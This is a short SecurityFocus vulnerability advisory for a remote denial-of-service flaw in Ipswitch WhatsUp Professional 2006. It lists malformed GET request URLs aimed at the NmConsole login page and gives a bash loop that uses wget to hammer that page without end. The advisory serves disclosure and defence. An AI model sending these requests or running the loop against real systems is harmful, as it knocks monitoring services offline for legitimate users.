source: http://www.securityfocus.com/bid/16771/info

Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET requests.

This issue allows remote attackers to consume excessive CPU resources on targeted computers, denying service to legitimate users.

http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

An example script to exploit this issue is also available:

while [ 1 ]
do
wget -O /dev/null http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=
done